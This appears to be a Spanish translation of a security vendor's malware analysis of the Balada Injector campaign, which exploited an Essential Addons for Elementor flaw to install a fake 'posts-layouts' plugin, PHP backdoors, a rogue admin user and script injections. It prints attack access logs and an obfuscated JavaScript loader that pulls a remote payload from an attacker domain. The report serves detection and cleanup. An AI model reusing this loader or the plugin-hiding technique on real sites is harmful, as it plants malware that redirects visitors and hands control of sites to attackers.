El 11 de mayo de 2023, el popular complemento de WordPress Essential Addons para Elementor lanzó un parche para una vulnerabilidad crítica de escalada de privilegios, descubierta inicialmente por PatchStack. Los detalles técnicos de esta vulnerabilidad se pueden encontrar en su publicación de blog reciente . Más de un millón de sitios web usan este complemento y las consecuencias de esto han sido absolutamente masivas, con más de 6,000 detecciones por parte de SiteCheck hasta el momento y 1637 detecciones en resultados de escaneo publicWWW.

Nuevo sabor de malware, sabor clásico a día de hoy

Al igual que con cualquier nueva vulnerabilidad como esta, los atacantes asociados con la campaña de malware Balada de años de duración (que hemos documentado ampliamente en este blog) aprovecharon rápidamente la oportunidad. Dentro de las 24 horas posteriores al lanzamiento de la vulnerabilidad, observamos un gran aumento en las infecciones, muchas de las cuales incluían un complemento Doppelgänger post-layouts (Post Layouts for Gutenberg). Observe la » s » añadida en las publicaciones:

Dado que la vulnerabilidad permite la toma de control de sitios web sin autenticar, los atacantes pueden tomar el control total del administrador de los entornos de las víctimas e instalar complementos maliciosos como el anterior.

Post Layouts es en realidad un complemento legítimo que se encuentra dentro del repositorio de WordPress con más de 30,000 instalaciones y está diseñado para agregar funcionalidad a WordPress que permite que las publicaciones se muestren en diseños de cuadrícula y lista. Dicho esto, la versión instalada por los atacantes de Balada es falsa y una versión modificada maliciosamente, en la que los piratas informáticos deshabilitaron la funcionalidad legítima y agregaron código malicioso para que se ejecutara en su lugar. Sin embargo, se conservan todos los archivos legítimos y los metadatos del complemento real de diseños posteriores, lo que hace que parezca real a primera vista.

Podemos ver que con más de 30 000 instalaciones activas , el complemento original tiene solo menos de 11 000 descargas de todos los tiempos. Por lo general, la cantidad de descargas de todos los tiempos es significativamente mayor que la cantidad de instalaciones activas, ya que es una práctica común descargar complementos, probarlos y eliminarlos/deshabilitarlos después. A principios de esta semana, el número de instalaciones activas seguía siendo de más de 20 000. Con 316 descargas durante los últimos 7 días, difícilmente puede esperar que la cantidad de instalaciones activas aumente tan rápido.

Puede ver un aumento en las descargas después del 12 de mayo de 2023, cuando comenzó el ataque. Estas más de 100 descargas por día no pudieron contribuir al aumento de descargas activas y el volumen de sitios pirateados que vemos. Creemos que este pico insignificante fue causado por los webmasters y los profesionales de la seguridad que querían descargar la versión oficial y compararla con los complementos sospechosos que se encuentran en los sitios comprometidos.

La verdadera razón del aumento en las instalaciones activas es que los piratas informáticos comenzaron a cargar una versión modificada de este complemento como diseños de publicaciones en sitios web comprometidos:

Podemos ver esto claramente en los registros de acceso de los sitios infectados:

193.169.195.64 - [12/May/2023:21:17:33 +0000] "GET /wp-admin/plugin-install.php?wc-ajax=1" 200 0 - 16276 25453 
193.169.195.64 - [12/May/2023:21:17:36 +0000] "POST /wp-admin/update.php?action=upload-plugin&wc-ajax=1" 200 9567 - 16276 25453 
193.169.195.64 - [12/May/2023:21:17:39 +0000] "POST /wp-admin/plugin-install.php?wc-ajax=1" 200 0 - 16276 25453 
193.169.195.64 - [12/May/2023:21:17:41 +0000] "POST /wp-admin/update.php?action=upload-plugin&wc-ajax=1" 200 7689 - 16276 25453 
193.169.195.64 - [12/May/2023:21:17:45 +0000] "POST /wp-admin/plugin-install.php?wc-ajax=1" 200 0 - 16276 25453 
193.169.195.64 - [12/May/2023:21:17:48 +0000] "POST /wp-admin/update.php?action=upload-plugin&wc-ajax=1" 200 1361 - 16276 25581

193.169.195.64 - [12/May/2023:21:17:55 +0000] "POST /wp-admin/plugins.php?wc-ajax=1&action=activate&plugin=posts-layouts%2Fposts-layouts.php&plugin_status=all&_wpnonce=810f12b23c" 302 0 - 16276 25581 
193.169.195.64 - [12/May/2023:21:17:56 +0000] "GET /wp-admin/plugins.php?activate=true&plugin_status=all&paged=1&s=" 200 0 - 16276 25581

Si bien el complemento se coloca en un directorio con un nombre diferente, todos los metadatos siguen siendo del complemento real posterior a los diseños , lo que confunde a WordPress y cuentan este complemento malicioso como uno real, inflando así la cantidad de «instalaciones activas» en el repositorio de WordPress.

La inyección del script Balada ocurre en el archivo malicioso posts-layout/dist/job.php :

./wp-content/plugins/posts-layouts/dist/job.php

En la función posts_layouts_head() podemos ver la ofuscación del código de caracteres revelador que se usa aquí, que parece ser uno de los favoritos de los actores de amenazas de malware Balada.

Cuando se decodifica, se revela la siguiente inyección de script desde cdn[.]scriptsplatform[.]com :

El mismo archivo job.php también contiene una puerta trasera que ejecuta código PHP arbitrario enviado como un parámetro de solicitud POST » dd1 «.

Además, también encontramos código utilizado para verificar la presencia del complemento malicioso instalado. Para las solicitudes que contienen el parámetro GET » 343 «, el complemento devuelve el hash MD5 de ‘343’ , que es igual a 3ad7c2ebb96fcba7cda0cf54a2e802f5 .

Verificación de la instalación del complemento.

Aquí puede ver cómo los piratas informáticos verifican la presencia del complemento antes y después de la infección:

//Before the infection a real site web page is returned: 21414 bytes
193.169.195.64 - - [12/May/2023:21:17:23 +0000] "GET /?343=1 HTTP/1.0" 200 21414 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"

//After the infection the same request returns a short 332 byte page (including headers)
193.169.195.64 - - [12/May/2023:21:17:59 +0000] "GET /?343=1 HTTP/1.0" 200 332 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"

El archivo JavaScript malicioso de carga útil stats.js es, como de costumbre, un script muy ofuscado que se parece a lo siguiente:

Además, el gancho wp_head de WordPress se usa dentro de la carga útil, lo que garantiza que la inyección de JavaScript se aloje dentro de la sección de encabezado del sitio web en cada página.

Ejecutar un comando whois simple sobre el dominio principal de la plataforma de scripts muestra que se creó/registró un día después de que se revelara la vulnerabilidad, lo que sugiere que se diseñó específicamente para esta infección masiva:

Domain name: scriptsplatform[.]com
Registry Domain ID: 2780171223_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.eranet.com
Registrar URL: http://www.eranet.com
Updated Date: 2023-05-12T00:00:00Z
Creation Date: 2023-05-12T05:33:59Z

Los visitantes de los sitios web infectados se encuentran con un redireccionamiento falso servido por redes publicitarias sospechosas que promueven principalmente estafas de citas y notificaciones para adultos que pueden verse algo así:

 

Análisis de malware

Como habrás notado, el código malicioso agregado a posts-layouts/posts-layouts.php en realidad intenta cargar tres archivos: dist/init.php , dist/cache.php y dist/job.php .

Código malicioso en wp-content/plugins/posts-layouts/posts-layouts.php

Ya hemos descrito el archivo dist/job.php arriba. Falta el archivo dist/cache.php en todos los sitios en los que hemos trabajado. No evita que el complemento funcione, ya que solo intenta cargarlo si el archivo realmente existe. El archivo dist/init.php es parte del complemento legítimo de post-diseños . Sin embargo, en el complemento malicioso, el contenido del archivo es completamente diferente.

Es el archivo que define la función posts_layouts_finish() que está vinculada a la acción “ pre_current_active_plugins ” en la última línea de posts-layouts.php.

El propósito de esta función adicional es ocultar el complemento para que no sea visible desde el panel del administrador de wp-admin, pero aún así mantiene activa la «funcionalidad» del complemento en el sitio web.

Actividad de infección adicional

La instalación del complemento falso de diseños de publicaciones no es lo único que hacen los piratas informáticos durante la infección inicial. Además, inyectan los scripts de Balada en la parte superior de los archivos header.php y footer.php del tema activo .

En el caso de header.php , el script inyectado es hxxps://cdn.scriptsplatform[.]com/scripts/header.js . Para footer.php , el script inyectado es hxxps://cdn.scriptsplatform[.]com/scripts/footer.js . Así es como se ve la inyección en los registros de acceso:

193.169.195.64 - - [12/May/2023:21:18:00 +0000] "POST /wp-admin/theme-editor.php?wc-ajax=1&file=header.php HTTP/1.0" 200 45863 "https:///wp-admin/theme-editor.php?wc-ajax=1&file=header.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
139.162.234.6 - - [12/May/2023:21:18:02 +0000] "GET /wp-admin/theme-editor.php?theme=&file=header.php&wp_scrape_key=9d62c27a9d88828dc1afaa4927b0550f&wp_scrape_nonce=395126822 HTTP/1.0" 200 46029 "-" "WordPress/6.2; https://"
..
193.169.195.64 - - [12/May/2023:21:18:06 +0000] "POST /wp-admin/theme-editor.php?file=header.php&wc-ajax=1 HTTP/1.0" 200 45900 "https:///wp-admin/theme-editor.php?file=header.php&wc-ajax=1" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
193.169.195.64 - - [12/May/2023:21:18:08 +0000] "POST /wp-admin/theme-editor.php?wc-ajax=1&file=footer.php HTTP/1.0" 200 44786 "https:///wp-admin/theme-editor.php?wc-ajax=1&file=footer.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
139.162.234.6 - - [12/May/2023:21:18:10 +0000] "GET /wp-admin/theme-editor.php?theme=&file=footer.php&wp_scrape_key=ad1ff4f46178f3088aa44babccd465f3&wp_scrape_nonce=1686713392 HTTP/1.0" 200 44956 "-" "WordPress/6.2; https://"
..

Los archivos header.js , stat.js y footer.js maliciosos cargan el mismo código que finalmente carga statistic.scriptsplatform[.]com/collect y luego come.scriptsplatform[.]com/away.php , que utiliza un TDS para redirigir a los visitantes del sitio a algún sitio de terceros.

Los tres scripts aparecen en la misma página infectada. Esto no causa problemas, ya que todos verifican si el script statistic.scriptsplatform[.]com/collect se cargó realmente. Por otro lado, colocar los scripts en tres ubicaciones diferentes ayuda a los atacantes a mantener la inyección en funcionamiento incluso si el malware se limpia parcialmente.

Además, vemos al mismo atacante inyectando scripts PHP de puerta trasera en el docroot y en algunos otros directorios de los sitios web de las víctimas. Los nombres de archivo de estas puertas traseras siguen el patrón wp-<English-word>-need-XXX.php , donde <English-word> es una palabra aleatoria en inglés y XXX son 3 caracteres aleatorios.

Por ejemplo:

./wp-sale-need-wuu.php
./wp-sold-need-xdd.php
./wp-mails-need-lxj.php
./wp-mails-need-wjo.php
./wp-drop-need-baj.php
./wp-working-need-css.php
./wp-locations-need-bot.php
./wp-readmes-need-rfq.php
./wp-track-need-ito.php
./wp-cliff-need-oxy.php
./wp-sale-need-vzw.php
./wp-working-need-bkv.php
./wp-working-need-ygr.php

El contenido de estos archivos se parece un poco a esto, con ligeras variaciones para cada uno:

Cuando se decodifica, se revela una puerta trasera:

Esta puerta trasera ejecuta código PHP arbitrario enviado en los parámetros de solicitud POST . Además, también intenta eliminar el archivo wp-sale.js creado al mismo tiempo que el backdoor.

El archivo wp-sale.js contiene un hash, el nombre del archivo de puerta trasera, y usa la palabra clave ‘ :demowpsale: ‘ como delimitador. En cada sitio infectado, los nombres de los parámetros y los valores hash utilizados para verificar las contraseñas son diferentes. Por lo tanto, los piratas informáticos deben realizar un seguimiento de todos estos datos para cada sitio comprometido para poder acceder a sus puertas traseras más adelante.

Los actores de amenazas también han estado agregando un usuario malicioso a los sitios web infectados con el nombre wp-demouser-44 . Este nombre de usuario ya ha proliferado en muchos sitios web en los resultados de búsqueda de Google .

ID: 4, Username: wp-demouser-44, E-mail: wpemailFEmK@pif.com, Creation Date: 2023-05-12 11:17:30

Start_h.js / start_f.js variación de las inyecciones de Balada

Si bien el malware de diseños posteriores se encuentra solo en sitios con el complemento Complementos esenciales para Elementor, otro tipo de inyección de Balada se encuentra en sitios que no usan Complementos esenciales para Elementor, o usan versiones no vulnerables de este complemento (ambos anterior a 5.4.0 y posterior a 5.7.1).

Lo más probable es que esta inyección se aproveche cuando los atacantes no pueden obtener el acceso de administrador de WordPress y usan otras vulnerabilidades y puertas traseras anteriores en su lugar. En algunos casos, también atribuimos esto a la contaminación entre sitios cuando varios sitios comparten la misma cuenta de alojamiento.

En tales casos, encontramos el siguiente archivo wp-blog-header.php modificado que incluye código PHP ofuscado inyectado (nuevamente usando ofuscación de código de caracteres):

 

El malware decodificado se ve así:

Lo que podemos ver es que el malware nuevamente intenta inyectar tres scripts maliciosos:

  1. hxxps://cdn.scriptsplatform[.]com/scripts/start_h.js en el encabezado del blog
  2. hxxps://cdn.scriptsplatform[.]com/scripts/start_f.js en el pie de página del blog
  3. hxxps://cdn.scriptsplatform[.]com/scripts/start_c.js en el contenido principal del blog

Curiosamente, el script start_c.js solo se inyecta en páginas individuales, mientras que start_f.js se inyecta incluso a usuarios conocidos del blog.

Start_h.js y start_c.js devuelven el mismo script que el encabezado/pie de página/stat.js descrito en la infección posts_layouts . Start_f.js no devuelve nada en este punto, por lo que su propósito no está claro.

Este malware intenta rastrear a los usuarios de WordPress que han iniciado sesión para evitar inyecciones, incluso cuando cierran la sesión de WordPress. Para lograr esto, los malhechores configuran la cookie “ wordpress_m_adm ” y escriben la dirección IP de los visitantes en el archivo rq.txt en el directorio temporal del servidor.

inyecciones jquery

En algunos casos, el siguiente código JavaScript ofuscado se inyecta encima de wp-includes/js/jquery/jquery.min.js y wp-includes/js/jquery/jquery-migrate.min.js

var m=b;(function(c,e){var l=b,f=c();while(!![]){try{var g=parseInt(l(0x135))/0x1+parseInt(l(0x12b))/0x2+-parseInt(l(0x12d))/0x3+parseInt(l(0x13d))/0x4+-parseInt(l(0x12e))/0x5*(parseInt(l(0x12a))/0x6)+parseInt(l(0x12f))/0x7*(-parseInt(l(0x13e))/0x8)+parseInt(l(0x13c))/0x9;if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0x7f054));function b(c,d){var e=a();return b=function(f,g){f=f-0x128;var h=e[f];return h;},b(c,d);}var j=document,k=j[m(0x130)](m(0x12c));k[m(0x138)]='h'+'tt'+m(0x13f)+'/'+'/s'+'ta'+m(0x128)+'t'+m(0x134)+'ri'+'p'+'ts'+m(0x132)+'tf'+'or'+m(0x13a)+m(0x136)+'lo'+'b'+'al';function a(){var n=['3558289hXnVzT','createElement','getElementsByTagName','pla','insertBefore','ics.sc','420078GNrZss','m/g','currentScript','src','head','m.co','parentNode','8887806xXCyNX','388724nuSCLw','8ZOcngi','ps:','tis','appendChild','3101916zsXWgk','1138664hDNQfV','script','1585608NAjuAN','5gMyIif'];a=function(){return n;};return a();}document[m(0x137)]?document[m(0x137)][m(0x13b)][m(0x133)](k,document[m(0x137)]):j[m(0x131)](m(0x139))[0x0][m(0x129)](k);

Este script también pertenece a Balada Injector y carga hxxps://statistics.scriptsplatform[.]com/global .

Nueva variación: cdn.clickandanalytics[.]com

Después del 17 de mayo de 2023, comenzamos a notar una inyección de JavaScript similar en archivos de sitios web legítimos que cargaron el script de Balada desde: hxxps://cdn.clickandanalytics[.]com/track

Es un dominio muy nuevo. Según datos de WHOIS, se registró el 2023-05-17T17:01:12Z .

Complemento falso de hellopress

Posts-layouts no es el único complemento malicioso instalado en sitios con el complemento vulnerable essential-addons-for-elementor-lite . Otro (que parece haber sido instalado por un actor de amenazas diferente) es hellopress . Encontramos estas puertas traseras en sitios comprometidos:

  • wp-content/plugins/hellopress/wp_mna.php – cargador de archivos
  • wp-content/plugins/hellopress/wp_filemanager.php – shell web

Para resumir:

  1. El atacante inicia sesión con éxito en el sitio vulnerable de WordPress a través de wp-login.php
  2. Usan el punto final update.php ?action=upload-plugin para instalar el complemento malicioso
  3. A continuación, el complemento se activa a través de plugins.php ?action=activate&plugin=posts-layouts%2F posts-layouts.php
  4. Se realizan varias solicitudes tanto a theme-editor.php como a admin-ajax.php para inyectar más malware en los archivos del sitio web, específicamente en los archivos header.php y footer.php (estas son inyecciones adicionales del mismo JavaScript malicioso)
  5. Se realizan más solicitudes a la puerta trasera adicional inyectada en el docroot

El malware no es idéntico para todos y cada uno de los sitios web afectados, por lo que el flujo de trabajo y los registros variarán ligeramente de un sitio a otro, pero esta es la esencia de cómo están explotando esta vulnerabilidad de aumento de privilegios no autenticado para apoderarse de los sitios web e inyectar malware.

Remedio

Si su sitio web se ha visto afectado por esta infección masiva, por supuesto que podemos ayudarte, pero si tiene la tarea de limpiar este malware por su cuenta, asegúrese de seguir estos pasos:

  • Actualice todos los componentes de software vulnerables
  • Eliminar el complemento malicioso de diseños de publicaciones
  • Verifique los archivos modificados recientemente, incluidos los archivos principales y temáticos
  • Eliminar cualquier puerta trasera inyectada por los atacantes
  • Elimine cualquier usuario malicioso plantado por los atacantes
  • Por si acaso, cambie todas las contraseñas de administrador

Tenemos una guía más detallada sobre cómo remediar un sitio web de WordPress pirateado que puede encontrar aquí . Y, como siempre, nuestra herramienta gratuita de escaneo de sitios web SiteCheck puede ayudarlo a confirmar si la carga útil se eliminó de su sitio web o no:

Conclusiones clave

En resumen: los atacantes, en particular los actores de amenazas asociados con el malware del sitio web de Balada, se apresuran a atacar cualquier nueva vulnerabilidad que se revele o se descubra de otra manera. Los propietarios de sitios web con actualizaciones automáticas de complementos habilitadas están mejor protegidos contra situaciones como estas. Solo hay un breve período de tiempo entre la divulgación de una vulnerabilidad y los intentos de compromiso activo, y los propietarios de sitios web no pueden, de manera realista, emitir parches manualmente en períodos de tiempo tan cortos en todos los casos.

Dicho esto, a veces los propietarios de sitios web pueden dudar en publicar todas las actualizaciones de temas y complementos disponibles debido a preocupaciones sobre problemas de compatibilidad o romper algo, por lo que también es una buena idea colocar su sitio web detrás de un firewall para evitar ataques.

Un agradecimiento especial a Denis Sinegubko por su investigación y ayuda con esta publicación.

Quieres valorar esta entrada? Nos sería de utilidad.

0 comentarios

Ir al contenido